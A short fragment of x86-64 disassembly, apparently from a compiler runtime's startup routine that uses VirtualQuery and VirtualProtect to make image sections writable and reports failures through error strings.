mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1e86b30f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1e85823a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1e858233e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1e8582350
add dword [0x1e86b30f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1e86b30f8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1e858233e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1e8582200
nop dword [rax]
xor esi, esi
jmp 0x1e85822c8
mov rax, qword [0x1e86b30f8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.1e8582200
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.1e8582200
nop
nop word cs:[rax + rax]
nop dword [rax]